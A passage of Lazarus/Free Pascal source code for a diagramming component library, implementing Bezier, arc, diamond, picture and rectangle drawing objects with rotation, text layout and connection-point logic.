dx := NewPt.X - BtnPoints[BtnIdx].X;
dy := NewPt.Y - BtnPoints[BtnIdx].Y;
if (BtnIdx > 0) then
offsetPt(BtnPoints[BtnIdx - 1], dx, dy);
if (BtnIdx < ButtonCount - 1) then
offsetPt(BtnPoints[BtnIdx + 1], dx, dy);
end
else if (BtnIdx = 1) or (BtnIdx = ButtonCount - 2) then //do nothing
else if (BtnIdx mod 3 = 2) then
MovePtDiagonalOppositeAnotherPt(
BtnPoints[BtnIdx + 2], BtnPoints[BtnIdx], BtnPoints[BtnIdx + 1])
else
MovePtDiagonalOppositeAnotherPt(
BtnPoints[BtnIdx - 2], BtnPoints[BtnIdx], BtnPoints[BtnIdx - 1]);
end;
if (BtnIdx = 1) and assigned(Connection1) then
UpdateConnectionPoints(Connection1)
else if (BtnIdx = ButtonCount - 2) and assigned(Connection2) then
UpdateConnectionPoints(Connection2);
inherited;
end;
procedure TplBezier.UpdateConnectionPoints(MovingConnection: TplSolid);
var
pt: TPoint;
begin
if not assigned(Parent) then
exit;
//make sure connection parents are assigned otherwise quit ...
if (assigned(Connection1) and not assigned(Connection1.Parent)) or (assigned(Connection2) and not assigned(Connection2.Parent)) then
exit;
if assigned(Connection1) then
begin
pt := Connection1.ClosestScreenPt(ClientToScreen(BtnPoints[1]));
BtnPoints[0] := ScreenToClient(pt);
end;
if assigned(Connection2) then
begin
pt := Connection2.ClosestScreenPt(ClientToScreen(BtnPoints[ButtonCount - 2]));
BtnPoints[ButtonCount - 1] := ScreenToClient(pt);
end;
ResizeNeeded;
end;
procedure TplBezier.SaveToPropStrings;
begin
inherited;
if Filled then
AddToPropStrings('Filled', GetEnumProp(self, 'Filled'));
if not Smooth then
AddToPropStrings('Smooth', GetEnumProp(self, 'Smooth'));
end;
// ================ TplSolidBezier =============================
constructor TplSolidBezier.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
pen.Width := 20;
fBorder := 3;
DoSaveInfo;
end;
procedure TplSolidBezier.SetNoConnection(Connection: TplSolid);
begin
//although this object is a line it looks like a solid so it makes no
//sense to allow it to connect to other solids.
end;
function TplSolidBezier.GetNoConnection: TplSolid;
begin
Result := nil; //see above
end;
procedure TplSolidBezier.SetArrow1(Arrow: boolean);
begin
//see above
end;
procedure TplSolidBezier.SetArrow2(Arrow: boolean);
begin
//see above
end;
procedure TplSolidBezier.SetFilled(isFilled: boolean);
begin
//do nothing
end;
procedure TplSolidBezier.SetUseHitTest(Value: boolean);
begin
inherited SetUseHitTest(False);
end;
procedure TplSolidBezier.SetBorder(border: integer);
begin
if Border * 2 >= Pen.Width then
Border := Pen.Width div 2
else if Border < 0 then
Border := 0;
if fBorder = border then
exit;
fBorder := border;
UpdateNeeded;
end;
procedure TplSolidBezier.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
begin
with aCanvas do
begin
PolyBezier(BtnPoints);
if isShadow then
exit;
Pen.Width := Pen.Width - fBorder * 2;
Pen.Color := self.Color;
PolyBezier(BtnPoints);
end;
end;
procedure TplSolidBezier.SaveToPropStrings;
begin
inherited;
AddToPropStrings('BorderWidth', IntToStr(BorderWidth));
end;
procedure TplSolidBezier.Mirror;
var
i: integer;
begin
for i := 0 to ButtonCount - 1 do
BtnPoints[i].X := Width - BtnPoints[i].X;
ResizeNeeded;
end;
procedure TplSolidBezier.Flip;
var
i: integer;
begin
for i := 0 to ButtonCount - 1 do
BtnPoints[i].Y := Height - BtnPoints[i].Y;
ResizeNeeded;
end;
// ================== TplTextBezier =============================
constructor TplTextBezier.Create(AOwner: TComponent);
begin
inherited;
ParentFont := True;
end;
procedure TplTextBezier.SeTText(const aText: string);
begin
if fText =aText then
exit;
fText := aText;
UpdateNeeded;
end;
procedure TplTextBezier.SetOuTplLine(OuTplLine: TFontOutLine);
begin
if fOuTplLine = OuTplLine then
exit;
fOuTplLine := OuTplLine;
UpdateNeeded;
end;
procedure TplTextBezier.CMFontChanged(var Message: TLMessage);
begin
inherited;
CalcMargin;
end;
procedure TplTextBezier.CalcMargin;
begin
//the following formula is empirical ...
Margin := max(ButtonSize + 2, 2 * abs(Font.Height) div 3);
//the following is also needed (see ancestor method) ...
ResizeNeeded;
end;
procedure TplTextBezier.SetNoConnection(Connection: TplSolid);
begin
//although this object is a line it looks like a solid so it makes no
//sense to allow it to connect to other solids.
end;
function TplTextBezier.GetNoConnection: TplSolid;
begin
Result := nil; //see above
end;
procedure TplTextBezier.SetArrow1(Arrow: boolean);
begin
//see above
end;
procedure TplTextBezier.SetArrow2(Arrow: boolean);
begin
//see above
end;
procedure TplTextBezier.SetUseHitTest(Value: boolean);
begin
inherited SetUseHitTest(False);
end;
procedure TplTextBezier.SetFilled(isFilled: boolean);
begin
//do nothing
end;
procedure TplTextBezier.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
s: string;
SavedColor: TColor;
begin
if fText = '' then
s := trim(dummyStrings.Text)
else
s := fText;
with acanvas do
begin
Brush.Style := bsClear;
if IsShadow then
begin
SavedColor := Font.Color;
Font.Color := ColorShadow;
Brush.Color := ColorShadow;
TextAlongBezier(acanvas, BtnPoints,
s, -round(2 * TextHeight('Yy') / 3), fOuTplLine);
Font.Color := SavedColor;
end
else
begin
if fOuTplLine = foColored then
brush.Color := color;
TextAlongBezier(acanvas, BtnPoints,
s, -round(2 * TextHeight('Yy') / 3), fOuTplLine);
end;
end;
end;
procedure TplTextBezier.SaveToPropStrings;
begin
inherited;
AddToPropStrings('Text', fText);
AddToPropStrings('Font.Charset', IntToStr(Font.Charset));
AddToPropStrings('Font.Color', '$' + inttohex(ColorToRGB(Font.Color), 8));
AddToPropStrings('Font.Name', Font.Name);
AddToPropStrings('Font.Size', IntToStr(Font.Size));
AddToPropStrings('Font.Style', GetSetProp(Font, 'Style', False));
AddToPropStrings('OuTplLine', GetEnumProp(self, 'OuTplLine'));
end;
// ================== TplArc =================================
constructor TplArc.Create(AOwner: TComponent);
begin
inherited;
fAngle1 := 45;
DoSaveInfo;
end;
procedure TplArc.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
mp, pt1, pt2: TPoint;
begin
mp.X := (BtnPoints[0].X + BtnPoints[1].X) div 2;
mp.Y := (BtnPoints[0].Y + BtnPoints[1].Y) div 2;
pt1 := GetPtOnCircleFromAngle(100, (fAngle1 * pi) / 180);
OffsetPt(pt1, mp.X, mp.Y);
pt2 := GetPtOnCircleFromAngle(100, (fAngle2 * pi) / 180);
OffsetPt(pt2, mp.X, mp.Y);
with acanvas do
begin
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
Pie(BtnPoints[0].X, BtnPoints[0].Y, BtnPoints[1].X, BtnPoints[1].Y,
pt1.X, pt1.Y, pt2.X, pt2.Y);
end;
end;
procedure TplArc.SetAngle1(ang1: integer);
begin
while (ang1 < 0) do
Inc(ang1, 360);
while (ang1 > 359) do
Dec(ang1, 360);
if (fAngle1 = ang1) then
exit;
fAngle1 := ang1;
UpdateNeeded;
end;
procedure TplArc.SetAngle2(ang2: integer);
begin
while (ang2 < 0) do
Inc(ang2, 360);
while (ang2 > 359) do
Dec(ang2, 360);
if (fAngle2 = ang2) then
exit;
fAngle2 := ang2;
UpdateNeeded;
end;
procedure TplArc.SetRegular(Value: boolean);
begin
if fRegular = Value then
exit;
fRegular := Value;
if not fRegular then
exit;
BtnPoints[1].Y := BtnPoints[0].Y + (BtnPoints[1].X - BtnPoints[0].X);
ResizeNeeded;
end;
procedure TplArc.BeginTransform;
begin
inherited;
fCurrRotAngle := 0;
end;
procedure TplArc.Rotate(degrees: integer);
var
diff: integer;
begin
if not SavedInfo.isTransforming then
raise Exception.Create('Error: Rotate() without BeginRotate().');
degrees := degrees mod 360;
if degrees < 0 then
Inc(degrees, 360);
diff := degrees - fCurrRotAngle;
if diff = 0 then
exit;
fCurrRotAngle := degrees;
Angle1 := Angle1 + diff;
Angle2 := Angle2 + diff;
UpdateNeeded;
end;
procedure TplArc.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
if fRegular then
begin
if BtnIdx = 0 then
begin
BtnPoints[0].X := NewPt.X;
BtnPoints[0].Y := BtnPoints[1].Y - (BtnPoints[1].X - NewPt.X);
end
else
begin
BtnPoints[1].X := NewPt.X;
BtnPoints[1].Y := BtnPoints[0].Y + (NewPt.X - BtnPoints[0].X);
end;
ResizeNeeded;
end
else
inherited;
end;
procedure TplArc.SaveToPropStrings;
begin
inherited;
AddToPropStrings('Angle1', IntToStr(Angle1));
AddToPropStrings('Angle2', IntToStr(Angle2));
if Regular then
AddToPropStrings('Regular', GetEnumProp(self, 'Regular'));
end;
// =============== TplDiamond ============================================
constructor TplDiamond.Create(AOwner: TComponent);
begin
inherited;
InternalSetCount(6);
SeTplDiamondPts;
DoSaveInfo;
end;
procedure TplDiamond.SeTplDiamondPts;
var
mp: TPoint;
begin
mp := MidPoint(BtnPoints[0], BtnPoints[1]);
//left,top,right,bottom ...
BtnPoints[2] := Point(BtnPoints[0].X, mp.Y);
BtnPoints[3] := Point(mp.X, BtnPoints[0].Y);
BtnPoints[4] := Point(BtnPoints[1].X, mp.Y);
BtnPoints[5] := Point(mp.X, BtnPoints[1].Y);
//now rotate all drawing points (ie pts > 1) about the diamond center ...
if SavedInfo.AngleInDegrees <> 0 then
RotatePts(BtnPoints, 2, mp, SavedInfo.AngleInDegrees * pi / 180);
end;
procedure TplDiamond.Rotate(degrees: integer);
begin
inherited;
SeTplDiamondPts;
end;
procedure TplDiamond.DrawStringsInDiamond(aCanvas: TbgraCanvas; aStrings: TStrings);
var
YPos, YLimit, lineHeight, space, VertSpace, pad, XCenter, YCenter, MaxX: integer;
ls, rs: string;
function DoTextOut(DraftOnly: boolean): integer;
var
i, startY: integer;
begin
startY := YPos;
for i := 0 to aStrings.Count - 1 do
begin
ls := aStrings[i];
if (ls = '') then
Inc(YPos, lineHeight)
else
while (ls <> '') and (YPos < YLimit - lineHeight) do
begin
if YPos < YCenter then
space := trunc(MaxX * (YPos - BtnPoints[0].Y - padding) / (YCenter - BtnPoints[0].Y - padding))
else
space := trunc(MaxX * (BtnPoints[1].Y - YPos - lineHeight - padding) / (BtnPoints[1].Y - YCenter - padding));
TrimLine(aCanvas, ls, rs, space);
if (ls <> '') and not DraftOnly then
with aCanvas do
if Angle = 0 then
TextOut(XCenter - TextWidth(ls) div 2, Ypos, ls)
else
RotatedTextAtPt(aCanvas, XCenter - TextWidth(ls) div 2, Ypos, ls);
ls := rs;
Inc(YPos, lineHeight);
end;
if (YPos >= YLimit - lineHeight) then
break;
end;
Result := YPos - StartY;
end;
function CalcVertSpace: integer;
var
i, cnt: integer;
begin
Result := 0;
cnt := 0;
for i := 0 to aStrings.Count - 1 do
begin
if (YPos + lineHeight >= YLimit) then
break;
ls := aStrings[i];
if (ls = '') then
begin
Inc(cnt);
if odd(cnt) then
Inc(Ypos, lineheight);
Inc(Result, lineheight);
end
else
while (ls <> '') and (YPos + lineHeight < YLimit) do
begin
space := trunc(MaxX * (BtnPoints[1].Y - YPos - lineHeight - padding) / (BtnPoints[1].Y - YCenter - padding));
TrimLine(aCanvas, ls, rs, space);
ls := rs;
//simplified by simulating oscillating text about x axis ...
Inc(cnt);
if odd(cnt) then
Inc(YPos, lineHeight);
Inc(Result, lineheight);
end;
end;
end;
begin
with aCanvas do
try
lineHeight := TextHeight('Yy');
pad := padding + (Pen.Width div 2);
if odd(Pen.Width) then
Inc(pad);
XCenter := (BtnPoints[0].X + BtnPoints[1].X) div 2;
MaxX := BtnPoints[1].X - BtnPoints[0].X - pad * 2;
YCenter := (BtnPoints[0].Y + BtnPoints[1].Y) div 2; //widest point
YLimit := BtnPoints[1].Y - pad;
//calc approx vertical space required for text
YPos := YCenter - lineHeight div 2;
VertSpace := CalcVertSpace;
//now test draw the text & get real vertSpace ...
YPos := YCenter - VertSpace div 2;
VertSpace := DoTextOut(True);
//now draw text ...
YPos := YCenter - VertSpace div 2;
DoTextOut(False);
except
//ie divide by zero errors - just don't print anything
end;
end;
procedure TplDiamond.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
inherited;
SeTplDiamondPts;
end;
function TplDiamond.ClosestScreenPt(FromScreenPt: TPoint): TPoint;
var
FromPt, mp, pt, pt1, pt2: TPoint;
i: integer;
begin
FromPt := ScreenToClient(FromScreenPt);
mp := ObjectMidpoint;
//find the closest vertex to the FromPt ...
i := ClosestPointIdx([BtnPoints[2], BtnPoints[3], BtnPoints[4], BtnPoints[5]], FromPt) + 2; //nb Index: 0 => BtnPoints[2]
//given the vertex closest to FromPt, the line between the object's midpoint
//and FromPt intersects one of the vertex's adjoining edges ...
case i of
2, 4:
begin
pt1 := BtnPoints[3];
pt2 := BtnPoints[5];
end;
3, 5:
begin
pt1 := BtnPoints[2];
pt2 := BtnPoints[4];
end;
end;
IntersectionPoint(mp, fromPt, BtnPoints[i], pt1, pt);
if not APointIsBetweenPts(pt, BtnPoints[i], pt1) then
IntersectionPoint(mp, fromPt, BtnPoints[i], pt2, pt);
Result := ClientToScreen(pt);
end;
procedure TplDiamond.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
begin
with acanvas do
begin
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
Polygon([BtnPoints[2], BtnPoints[3], BtnPoints[4], BtnPoints[5]]);
if IsShadow or (Strings.Count = 0) then
exit;
DrawStringsInDiamond(aCanvas, Strings);
end;
end;
function TplDiamond.ResizeObjectToFiTText: boolean;
var
i, w, marg: integer;
size: TSize;
begin
size.cx := 0;
size.cy := bitmap.canvas.TextHeight('Yy') * (Strings.Count + 1);
for i := 0 to Strings.Count - 1 do
begin
w := bitmap.canvas.TextWidth(Strings[i]);
if w > size.cx then
size.cx := w;
end;
marg := Margin + (Pen.Width div 2) + 1 + Padding;
//theoretically only need twice width and height of rectangular text box,
//but for some reason needs a bit more in practise (hence extra line above)...
SetBounds(left, top, round(size.cx * 2) + marg * 2, round(size.cy * 2) + marg * 2);
Result := True;
end;
// ================= TplDrawPicture ==============================
constructor TplDrawPicture.Create(AOwner: TComponent);
begin
inherited;
fpic := TBGRABitmap.create;
DataStream := TMemoryStream.Create;
Pen.Width := 1;
ShadowSize := 0;
DoSaveInfo;
end;
destructor TplDrawPicture.Destroy;
begin
fPic.Free;
DataStream.Free;
DataStream := nil;
inherited;
end;
procedure TplDrawPicture.BinaryDataLoaded;
begin
LoadPicFromDataStream;
end;
procedure TplDrawPicture.LoadPicFromFile(const filename: string);
begin
try
DataStream.LoadFromFile(filename);
LoadPicFromDataStream;
except
end;
end;
procedure TplDrawPicture.LoadPicFromDataStream;
var
pomPic:Tpicture;
begin
try
DataStream.Position := 0;
pomPic:=TPicture.Create;
pomPic.LoadFromStream(DataStream);
// not found way to load bmp both with TBGRABitmap and TPicture - Strange :-)
if pomPic.Bitmap.GetFileExtensions = 'bmp' then
begin
DataStream.Position := 0;
fPic.LoadFromStream(DataStream);
end
else
fPic.Assign(pomPic.Bitmap);
pomPic.Destroy;
if not fStretch then
begin
if not BlockResize then //ie: BlockResize when loading from *.dob file
begin
BtnPoints[1].X := BtnPoints[0].X + fPic.Width;
BtnPoints[1].Y := BtnPoints[0].Y + fPic.Height;
BlockResize := True;
SetBounds(left, top, BtnPoints[1].X + Margin, BtnPoints[1].Y + Margin);
BlockResize := False;
end;
Bitmap.SetSize(Width,Height);
end;
except
DataStream.Size := 0;
end;
UpdateNeeded;
end;
procedure TplDrawPicture.SavePicToFile(const filename: string);
begin
DataStream.SaveToFile(filename);
end;
function TplDrawPicture.IsValidBtnDown(BtnIdx: integer): boolean;
begin
Result := fStretch;
end;
procedure PrintBitmapROP(DestCanvas: TbgraCanvas; DestRect: TRect; Bitmap: TbgraBitmap; rop: cardinal);
var
BitmapHeader: pBitmapInfo;
BitmapImage: POINTER;
HeaderSize: dword;
ImageSize: dword;
begin
assert(False, 'portable function not implemented!');
{ TODO -oTC -cLazarus_Port_Step1 : GetDIBSizes not recognized }
//TCQ GetDIBSizes(Bitmap.Handle,HeaderSize,ImageSize);
GetMem(BitmapHeader, HeaderSize);
GetMem(BitmapImage, ImageSize);
try
{ TODO -oTC -cLazarus_Port_Step1 : GetDIB not recognized }
//TC GetDIB(Bitmap.Handle, Bitmap.Palette, BitmapHeader^, BitmapImage^);
//StretchDIBits(DestCanvas.Handle,
// DestRect.Left, DestRect.Top, // Destination Origin
// DestRect.Right - DestRect.Left, // Destination Width
// DestRect.Bottom - DestRect.Top, // Destination Height
// 0,0, // Source Origin
// Bitmap.Width, Bitmap.Height, // Source Width & Height
// BitmapImage,
// TBitmapInfo(BitmapHeader^),
// DIB_RGB_COLORS,
// rop);
finally
FreeMem(BitmapHeader);
FreeMem(BitmapImage)
end;
end;
procedure PrintBitmap(DestCanvas: TbgraCanvas; DestRect: TRect; Bitmap: TbgraBitmap);
var
transpClr: TColor;
mask: TBitmap;
oldMode: integer;
oldColor: cardinal;
const
CAPS1 = 94;
C1_TRANSPARENT = 1;
NEWTRANSPARENT = 3;
begin
//if Bitmap.Transparent then
if True then // should think about it :-)
begin
//transpClr := Bitmap.TransparentColor and $FFFFFF;
{ TODO -oTC -cLazarus_Port_Step2 : GetDeviceCaps is specific to Windows. Not used. }
//if (GetDeviceCaps(DestCanvas.Handle, CAPS1) and C1_TRANSPARENT) <> 0 then
//begin
// //if the device context handles transparency natively then ...
// oldMode := SetBkMode(DestCanvas.Handle, NEWTRANSPARENT);
// oldColor := SetBkColor(DestCanvas.Handle, cardinal(transpClr));
// PrintBitmapROP(DestCanvas, DestRect, Bitmap, SRCCOPY);
// SetBkColor(DestCanvas.Handle, oldColor);
// SetBkMode(DestCanvas.Handle, oldMode);
//end else
//begin
// //otherwise do transparency this way ...
// mask := TBitmap.Create;
// try
// mask.Assign(Bitmap);
// mask.Mask(transpClr);
// PrintBitmapROP(DestCanvas, DestRect, Bitmap, SRCINVERT);
// PrintBitmapROP(DestCanvas, DestRect, mask, SRCAND);
// PrintBitmapROP(DestCanvas, DestRect, Bitmap, SRCINVERT);
// finally
// mask.Free;
// end;
//end;
DestCanvas.Draw(DestRect.Top ,DestRect.Left,Bitmap);
end
else
PrintBitmapROP(DestCanvas, DestRect, Bitmap, SRCCOPY);
end;
procedure TplDrawPicture.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
tmpRect: TRect;
pom:TBGRABitmap;
begin
if IsShadow then exit;
tmpRect := Rect(BtnPoints[0].X, BtnPoints[0].Y, BtnPoints[1].X, BtnPoints[1].Y);
//nb: Delphi's Canvas.Draw() & Canvas.StretchDraw() are buggy. The pallete is
//often corrupted when stretching a transparent image on screen and they
//simply don't display at all in metafile canvases. (If you're not convinced,
//try a few bitmaps in a stretched & transparent TImage component and see what
//happens to their images.)
//Anyhow, this PrintBitmap() function seems to (mostly) solve these issues
//while bearing in mind that some printers (eg PostScript printers) do not
//support ROPs that involve the destination canvas.
pom:=TBGRABitmap.Create;
BGRAReplace(pom, fpic.Resample(tmpRect.Width,tmpRect.Height,rmSimpleStretch));
if Transparent then pom.ApplyGlobalOpacity(128);
PrintBitmap(aCanvas, tmpRect, pom);
pom.Destroy;
end;
procedure TplDrawPicture.SetStretch(Stretch: boolean);
begin
if Stretch = fStretch then
exit;
fStretch := Stretch;
if not Stretch and (fPic.Width > 0) and not BlockResize then
begin
BtnPoints[1].X := fPic.Width + BtnPoints[0].X;
BtnPoints[1].Y := fPic.Height + BtnPoints[0].Y;
ResizeNeeded;
end
else
begin
UpdateNeeded;
end;
end;
procedure TplDrawPicture.SetTransparent(Transparent: boolean);
begin
if Transparent = fTransparent then
exit;
fTransparent := Transparent;
UpdateNeeded;
end;
procedure TplDrawPicture.SetTightConnections(Value: boolean);
begin
if Value = fTightConnections then
exit;
fTightConnections := Value;
if assigned(ConnectorList) then
ResizeNeeded;
end;
function TplDrawPicture.ClosestScreenPt(FromScreenPt: TPoint): TPoint;
var
mp: TPoint;
trnspClr: TColor;
slope: single;
begin
Result := inherited ClosestScreenPt(FromScreenPt);
if not fTightConnections or not fTransparent or Stretch then
exit;
//trnspClr := fPic.TransparentColor and $FFFFFF;
trnspClr := clBackground;
Result := ScreenToClient(Result);
OffsetPt(Result, -margin, -margin);
if (Result.X < 0) then
Result.X := 0;
while (Result.X >= fPic.Width) do
Dec(Result.X);
while (Result.Y >= fPic.Height) do
Dec(Result.Y);
mp := ObjectMidPoint;
if (Result.X = mp.X) then
begin
if (Result.Y > mp.Y) then
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and (Result.Y > mp.Y) do
Dec(Result.Y)
else
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and (Result.Y < mp.Y) do
Inc(Result.Y);
end
else if (Result.X >= mp.X) and (Result.Y >= mp.Y) then
begin
slope := (Result.Y - mp.Y) / (Result.X - mp.X);
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and not PointsEqual(Result, mp) do
if (Result.X = mp.X) or ((Result.Y - mp.Y) / (Result.X - mp.X) >= slope) then
Dec(Result.Y)
else
Dec(Result.X);
end
else if (Result.X >= mp.X) and (Result.Y < mp.Y) then
begin
slope := (Result.Y - mp.Y) / (Result.X - mp.X);
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and not PointsEqual(Result, mp) do
if (Result.X = mp.X) or ((Result.Y - mp.Y) / (Result.X - mp.X) <= slope) then
Inc(Result.Y)
else
Dec(Result.X);
end
else if (Result.X < mp.X) and (Result.Y < mp.Y) then
begin
slope := (Result.Y - mp.Y) / (Result.X - mp.X);
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and not PointsEqual(Result, mp) do
if (Result.X = mp.X) or ((Result.Y - mp.Y) / (Result.X - mp.X) >= slope) then
Inc(Result.Y)
else
Inc(Result.X);
end
else
begin
slope := (Result.Y - mp.Y) / (Result.X - mp.X);
while (fPic.canvas.pixels[Result.X, Result.Y] = trnspClr) and not PointsEqual(Result, mp) do
if (Result.X = mp.X) or ((Result.Y - mp.Y) / (Result.X - mp.X) <= slope) then
Dec(Result.Y)
else
Inc(Result.X);
end;
OffsetPt(Result, margin, margin);
Result := ClientToScreen(Result);
end;
procedure TplDrawPicture.SaveToPropStrings;
begin
inherited;
if Angle <> 0 then
AddToPropStrings('Angle', GetEnumProp(self, 'Angle'));
if Stretch then
AddToPropStrings('Stretch', GetEnumProp(self, 'Stretch'));
if TightConnections then
AddToPropStrings('TightConnections', GetEnumProp(self, 'TightConnections'));
end;
function TplDrawPicture.MergeDrawObjImage(DrawObj: TplDrawObject; TransparentClr: TColor): boolean;
var
//bmp: TBitmap;
bmp :TBGRABitmap;
l, t, w, h: integer;
begin
Result := assigned(DrawObj) and DrawObj.Visible and (DrawObj.Parent = Parent);
if not Result then
exit;
if (fPic.Width = 0) or (Left + Margin > DrawObj.Left) then
l := DrawObj.Left
else
l := Left + Margin;
if (fPic.Height = 0) or (Top + Margin > DrawObj.Top) then
t := DrawObj.Top
else
t := Top + Margin;
w := max(DrawObj.Left + DrawObj.Width, Left + Width - Margin) - l;
h := max(DrawObj.Top + DrawObj.Height, Top + Height - Margin) - t;
bmp:= TBGRABitmap.create(w,h);
try
//bmp.Width := w;
//bmp.Height := h;
//bmp.Canvas.Brush.Color := TransparentClr;
bmp.CanvasBGRA.FillRect(Rect(0, 0, w, h));
bmp.canvasBGRA.Draw(left + Margin - l, top + Margin - t, fPic);
bmp.canvasBgra.Draw(DrawObj.left - l, DrawObj.top - t, DrawObj.Bitmap);
fPic.Assign(bmp);
DataStream.Size := 0;
fPic.SaveToStreamAsPng(DataStream);
SetBounds(l - Margin, t - Margin, w + Margin * 2, h + Margin * 2);
BtnPoints[1].X := Width - Margin;
BtnPoints[1].Y := Height - Margin;
finally
bmp.Free;
end;
end;
procedure TplDrawPicture.Rotate(degrees: integer);
var
mp: TPoint;
TmpPic: TbgraBitmap;
begin
if not SavedInfo.isTransforming then
raise Exception.Create('Error: Rotate() without BeginTransform().');
degrees := degrees mod 360;
if degrees < 0 then
Inc(degrees, 360);
if degrees = SavedInfo.AngleInDegrees then
exit;
DataStream.Position := 0;
TmpPic := TBGRABitmap.Create;
try
//TmpPic.Transparent := fPic.Transparent;
TmpPic.LoadFromStream(DataStream);
RotateBitmap(TmpPic, fPic, (360 - degrees) * pi / 180,
Point(TmpPic.Width div 2, TmpPic.Height div 2), mp);
finally
TmpPic.Free;
end;
SavedInfo.AngleInDegrees := degrees;
if BlockResize then
exit; //ie loading from *.dob file
BtnPoints[1].X := fPic.Width + Margin;
BtnPoints[1].Y := fPic.Height + Margin;
ResizeNeeded;
end;
function TplDrawPicture.GetAngle: integer;
begin
Result := SavedInfo.AngleInDegrees;
if Result > 180 then
Dec(Result, 360);
end;
procedure TplDrawPicture.SetAngle(angle: integer);
begin
angle := angle mod 360;
if angle < 0 then
Inc(angle, 360);
if angle = SavedInfo.AngleInDegrees then
exit;
BeginTransform;
Rotate(angle);
EndTransform;
end;
// ===================== TplRectangle =========================
constructor TplRectangle.Create(AOwner: TComponent);
begin
inherited;
InternalSetCount(6);
fCentered := True;
Padding := 4;
SeTplRectanglePts;
DoSaveInfo;
end;
procedure TplRectangle.SeTplRectanglePts;
var
mp: TPoint;
begin
mp := MidPoint(BtnPoints[0], BtnPoints[1]);
//tl,tr,br,bl ...
BtnPoints[2] := BtnPoints[0];
BtnPoints[3] := Point(BtnPoints[1].X, BtnPoints[0].Y);
BtnPoints[4] := BtnPoints[1];
BtnPoints[5] := Point(BtnPoints[0].X, BtnPoints[1].Y);
//now rotate all drawing points (ie pts > 1) about the diamond center ...
if SavedInfo.AngleInDegrees <> 0 then
RotatePts(BtnPoints, 2, mp, SavedInfo.AngleInDegrees * pi / 180);
end;
// Helper function for ClosestScreenPt() to elegantly handle rounded corners ...
function RoundedCorner(pt1, pt2: TPoint; circOrigX, circOrigY, circRadius: integer; pos: TBalloonPoint): TPoint;
var
m, a, b, c, z, x1, x2: double;
begin
//given 2 pts & eq'n line (y=mx+z) ...
//m = (y2-y1)/(x2-x1)
//z = y1 - m * x1
m := (pt2.Y - pt1.Y) / (pt2.X - pt1.X);
z := pt1.Y - m * pt1.X;
//eq'n circle (x - cx)^2 + (y - cy)^2 = r^2 given origin (cx,cy), radius (r)
//solve using simultaneous equations, substituting (mx + z) for y ...
//(x - cx)^2 + (m*x + z - cy)^2 = r^2 given origin (cx,cy), radius (r)
//x^2 - 2cx*x + cx^2 + m^2*x^2 + 2(z-cy)m*x + (z-cy)^2 = r^2
//(m^2 + 1)x^2 + (2.m(z-cy) - 2.cx)x + cx^2 + (z-cy)^2 - r^2 = 0
//Given general solution to quadratic ... x = (-b +/- sqrt(b^2 - 4ac))/2a
a := m * m + 1;
b := (2 * m * (z - circOrigY) - 2 * circOrigX);
c := circOrigX * circOrigX + (z - circOrigY) * (z - circOrigY) - circRadius * circRadius;
x1 := (-b + SQRT(b * b - 4 * a * c)) / (2 * a);
x2 := (-b - SQRT(b * b - 4 * a * c)) / (2 * a);
case pos of
bpTopLeft, bpBottomLeft: if x2 < x1 then
x1 := x2;
else
if x2 > x1 then
x1 := x2;
end;
Result.X := round(x1);
Result.Y := round(x1 * m + z);
end;
function TplRectangle.ClosestScreenPt(FromScreenPt: TPoint): TPoint;
var
FromPt, mp, pt, pt1, pt2: TPoint;
i, radius: integer;
begin
FromPt := ScreenToClient(FromScreenPt);
mp := ObjectMidpoint;
i := ClosestPointIdx([BtnPoints[2], BtnPoints[3], BtnPoints[4], BtnPoints[5]], FromPt) + 2;
case i of
2, 4:
begin
pt1 := BtnPoints[3];
pt2 := BtnPoints[5];
end;
3, 5:
begin
pt1 := BtnPoints[2];
pt2 := BtnPoints[4];
end;
end;
IntersectionPoint(mp, fromPt, BtnPoints[i], pt1, pt);
if not APointIsBetweenPts(pt, BtnPoints[i], pt1) then
IntersectionPoint(mp, fromPt, BtnPoints[i], pt2, pt);
Result := ClientToScreen(pt);
if fRounded then
begin
radius := min(BtnPoints[1].X - BtnPoints[0].X, BtnPoints[1].Y - BtnPoints[0].Y) div 4;
if pt.X < BtnPoints[0].X + radius then
begin
if pt.Y < BtnPoints[0].Y + radius then
pt := RoundedCorner(pt, mp, BtnPoints[0].X + radius, BtnPoints[0].Y + radius, radius, bpTopLeft)
else if pt.Y > BtnPoints[1].Y - radius then
pt := RoundedCorner(pt, mp, BtnPoints[0].X + radius, BtnPoints[1].Y - radius, radius, bpBottomLeft);
end
else if pt.X > BtnPoints[1].X - radius then
begin
if pt.Y < BtnPoints[0].Y + radius then
pt := RoundedCorner(pt, mp, BtnPoints[1].X - radius, BtnPoints[0].Y + radius, radius, bpTopRight)
else if pt.Y > BtnPoints[1].Y - radius then
pt := RoundedCorner(pt, mp, BtnPoints[1].X - radius, BtnPoints[1].Y - radius, radius, bpBottomRight);
end;
Result := ClientToScreen(pt);
end;
end;
procedure TplRectangle.SetCentered(Centered: boolean);
begin
if fCentered = Centered then
exit;
fCentered := Centered;
UpdateNeeded;
end;
procedure TplRectangle.SetRounded(Rounded: boolean);
begin
if (fRounded = Rounded) or (Angle <> 0) then
exit;
fRounded := Rounded;
if assigned(ConnectorList) then
ResizeNeeded
else
UpdateNeeded;
end;
procedure TplRectangle.Rotate(degrees: integer);
begin
inherited;
if (Angle <> 0) then
fRounded := False;
SeTplRectanglePts;
end;
procedure TplRectangle.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
inherited;
SeTplRectanglePts;
end;
procedure TplRectangle.DrawStringsInRect(aCanvas: TbgraCanvas; aStrings: TStrings);
var
i, YPos, YLimit, lineHeight, space, pad, XCenter: integer;
ls, rs: string;
